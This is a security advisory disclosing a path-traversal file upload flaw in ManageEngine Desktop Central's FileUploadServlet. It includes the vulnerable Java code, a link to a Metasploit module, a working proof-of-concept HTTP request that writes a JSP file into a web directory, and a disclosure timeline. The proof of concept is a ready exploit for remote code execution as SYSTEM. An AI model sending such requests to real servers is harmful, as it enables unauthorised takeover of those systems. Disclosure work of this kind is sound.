### Description:
When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.
This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.
```
package com.adventnet.sym.webclient.common;
public class FileUploadServlet extends HttpServlet
{
private Logger logger = Logger.getLogger("RDSLogger");
public static final String RDS_UPLOAD = "rds_file_upload";
public static final String SCRIPT_LOG_UPLOAD = "scriptLog";
public static final String HELPDESK_VIDEO_UPLOAD = "HelpDesk_video";
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String sourceMethod = "FileUploadServlet::doPost";
this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + request.getRemoteHost());
String action = request.getParameter("action");
if ("scriptLog".equals(action)) {
scriptLogUpload(request, response);
} else if ("rds_file_upload".equals(action)) {
rdsScreenUpload(request, response);
} else if ("HelpDesk_video".equals(action)) {
helpDeskVideoUpload(request, response);
}
}
private void helpDeskVideoUpload(HttpServletRequest request, HttpServletResponse response)
{
String sourceMethod = "FileUploadServlet::helpDeskVideoUpload";
try {
String action = request.getParameter("action");
String resourceId = request.getParameter("resourceId");
String compName = request.getParameter("computerName");
long customerId = Long.parseLong(request.getParameter("customerId"));
String videoFileName = request.getParameter("fileName");
Long nDataLength = Long.valueOf(request.getContentLength());
try
{
PrintWriter responsetoAgent = response.getWriter();
if ((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName))) {
this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the helpDeskVideoUpload request from: compName:{0}", new Object[] { compName });
response.sendError(403, "Request Refused");
return;
}
long freeSpace = RDSUtil.getInstance().getServerFreeSpace();
if (nDataLength.longValue() < freeSpace) {
String server_home = DCMetaDataUtil.getInstance().getServerDataDir(Long.valueOf(customerId));
String fs = File.separator;
this.logger.log(Level.FINE, sourceMethod + " -> The server home path is : " + server_home);
String absoluteFileName = server_home + fs + "HelpDesk" + fs + compName + "_" + resourceId;
if (!ApiFactory.getFileAccessAPI().isFileExists(absoluteFileName))
{
ApiFactory.getFileAccessAPI().createDirectory(absoluteFileName);
}
absoluteFileName = absoluteFileName + fs + videoFileName;
String receivedStatus = downloadFile(request, absoluteFileName);
if ("Success".equalsIgnoreCase(receivedStatus)) {
response.setHeader("Upload_Status", receivedStatus);
}
}
else {
this.logger.log(Level.WARNING, sourceMethod + " -> No required Space is availbale to store the video file ");
responsetoAgent.println("Status :1|Msg :No enough sapce in server to save video file|");
}
this.logger.log(Level.INFO, sourceMethod + " -> The method ended ");
} catch (Exception ex) {
response.sendError(500, "Problem while retriving video in server");
this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
}
} catch (Exception ex) {
this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
}
}
private String downloadFile(HttpServletRequest request, String destnAbsoluteFileName)
{
String status = "Success";
Long nDataLength = Long.valueOf(request.getContentLength());
String checkSumValue = request.getParameter("checkSumValue");
try
{
String sourceMethod = "FileUploadServlet::downLoadFile";
InputStream appIn = request.getInputStream();
Thread.sleep(5000L);
OutputStream outputFile = new FileOutputStream(destnAbsoluteFileName);
this.logger.log(Level.INFO, sourceMethod + " -----> Method Starts <-----");
try
{
int numread = 0;
int count = 0;
byte[] bytesread = new byte[262144];
long receivedFileSize = 0L;
this.logger.log(Level.INFO, sourceMethod + " -> Total Received Data length = : " + nDataLength);
while ((appIn != null) && ((numread = appIn.read(bytesread)) != -1)) {
count++;
this.logger.log(Level.FINE, sourceMethod + " -> Going to write the file: count: " + count + " numread :" + numread);
outputFile.write(bytesread, 0, numread);
receivedFileSize += numread;
this.logger.log(Level.FINE, sourceMethod + " -> receivedFileSize: " + receivedFileSize);
}
String checkSum = ChecksumProvider.getInstance().GetMD5HashFromFile(destnAbsoluteFileName);
this.logger.log(Level.INFO, sourceMethod + " Generated checksum value is : " + checkSum);
if ((nDataLength.longValue() != receivedFileSize) || (!checkSum.equals(checkSumValue))) {
status = "Failed";
}
}
catch (Exception e) {
this.logger.log(Level.WARNING, " -> Exception occured while writing file: " + e);
} finally {
outputFile.close();
if (appIn != null) {
appIn.close();
}
}
this.logger.log(Level.INFO, sourceMethod + " -----> Method Ends <-----");
} catch (Exception e) {
this.logger.log(Level.WARNING, " -> Exception occured : " + e);
}
return status;
}
}
```
### Proof of Concept:
[Download Metasploit Module](https://github.com/kacperszurek/exploits/blob/master/ManageEngineDesktopCentral/manageengine_filename_rce.rb)
Send request:
```
POST /fileupload?action=HelpDesk_video&computerName=hacked&resourceId=1&fileName=\..\..\..\..\jspf\hack.jsp&customerId=1 HTTP/1.1
Host: localhost:8020
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Connection: close
Content-Length: 29
<%= new String("Hello!") %>
```
Then visit:
```
http://localhost:8020/jspf/hack.jsp
```
### Timeline:
* 21-04-2017: Discovered
* 05-05-2017: Vendor notified
* 12-07-2017: New version released, issue resolved
暂无评论